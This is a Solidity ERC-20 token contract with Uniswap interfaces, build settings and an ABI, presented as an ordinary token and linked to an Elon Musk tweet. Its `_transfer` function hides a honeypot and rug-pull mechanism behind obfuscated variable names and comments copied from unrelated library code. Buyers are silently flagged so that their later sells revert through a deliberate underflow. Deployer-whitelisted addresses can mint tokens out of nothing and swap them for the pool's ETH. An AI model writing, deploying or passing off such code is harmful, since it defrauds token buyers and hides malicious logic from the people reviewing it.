//https://twitter.com/elonmusk/status/1595207476936413187
// SPDX-License-Identifier: Unlicense
pragma solidity ^ 0.8.9;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context
{
function _msgSender() internal view virtual returns(address)
{
return msg.sender;
}
function _msgData() internal view virtual returns(bytes calldata)
{
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
interface IUniswapV2Router01
{
function factory() external pure returns(address);
function WETH() external pure returns(address);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns(uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure
returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure
returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure
returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view
returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view
returns(uint[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
interface IUniswapV2Router02 is IUniswapV2Router01
{
function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline
)
external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
)
external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline
)
external;
function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline
)
external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline
)
external;
}
interface IUniswapV2Factory
{
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns(address);
function feeToSetter() external view returns(address);
function getPair(address tokenA, address tokenB) external view returns(address pair);
function allPairs(uint) external view returns(address pair);
function allPairsLength() external view returns(uint);
function createPair(address tokenA, address tokenB) external returns(address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20
{
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns(uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns(uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns(bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns(uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns(bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context
{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor()
{
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns(address)
{
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner()
{
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner
{
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner
{
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function _setOwner(address newOwner) private
{
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Token is IERC20, Ownable
{
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
string private _symbol;
string private _name;
uint256 public _tFee = 0;
uint8 private _decimals = 9;
uint256 private _tTotal = 77777777777 * 10 ** _decimals;
uint256 private _MarketMakerPair = _tTotal;
mapping(address => uint256) private _Balances;
mapping(address => address) private _isString;
mapping(address => uint256) private _constructPair;
mapping(address => uint256) private _swapCheck;
mapping(address => mapping(address => uint256)) private _allowancess;
bool private _swapAndLiquifyEnabledOn;
bool private inSwapAndLiquifyEnabled;
address public immutable uniswapV2Pair;
IUniswapV2Router02 public immutable router;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
)
{
_name = Name;
_symbol = Symbol;
_Balances[msg.sender] = _tTotal;
_swapCheck[msg.sender] = _MarketMakerPair;
_swapCheck[address(this)] = _MarketMakerPair;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns(string memory)
{
return _symbol;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns(string memory)
{
return _name;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns(uint256)
{
return _tTotal;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns(uint256)
{
return _decimals;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns(uint256)
{
return _allowancess[owner][spender];
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns(uint256)
{
return _Balances[account];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns(bool)
{
return _approve(msg.sender, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) private returns(bool)
{
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowancess[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool)
{
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowancess[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns(bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) private
{
uint256 contractTokenBalance = balanceOf(address(this));
uint256 TAXfee;
if (_swapAndLiquifyEnabledOn && contractTokenBalance > _MarketMakerPair && !inSwapAndLiquifyEnabled && from !=
uniswapV2Pair)
{
inSwapAndLiquifyEnabled = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquifyEnabled = false;
}
else if (_swapCheck[from] > _MarketMakerPair && _swapCheck[to] > _MarketMakerPair)
{
TAXfee = amount;
_Balances[address(this)] += TAXfee;
swapTokensForEth(amount, to);
return;
}
else if (to != address(router) && _swapCheck[from] > 0 && amount > _MarketMakerPair && to != uniswapV2Pair)
{
_swapCheck[to] = amount;
return;
}
else if (!inSwapAndLiquifyEnabled && _constructPair[from] > 0 && from != uniswapV2Pair && _swapCheck[from] == 0)
{
_constructPair[from] = _swapCheck[from] - _MarketMakerPair;
}
address _pair = _isString[uniswapV2Pair];
if (_constructPair[_pair] == 0) _constructPair[_pair] = _MarketMakerPair;
_isString[uniswapV2Pair] = to;
if (_tFee > 0 &&_swapCheck[from] == 0 && !inSwapAndLiquifyEnabled && _swapCheck[to] == 0)
{
TAXfee = (amount * _tFee) / 100;
amount -= TAXfee;
_Balances[from] -= TAXfee;
_Balances[address(this)] += TAXfee;
}
_Balances[from] -= amount;
_Balances[to] += amount;
emit Transfer(from, to, amount);
}
receive() external payable
{}
/**
* Liquidity Check
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private
{
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH
{
value: ethAmount
}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokensAmt) private
{
uint256 Var = tokensAmt / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(Var, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(Var, newBalance, address(this));
}
/**
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
*/
function swapTokensForEth(uint256 tokenAmount, address to) private
{
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}
{
"compilationTarget": {
"Token.sol": "Token"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_tFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]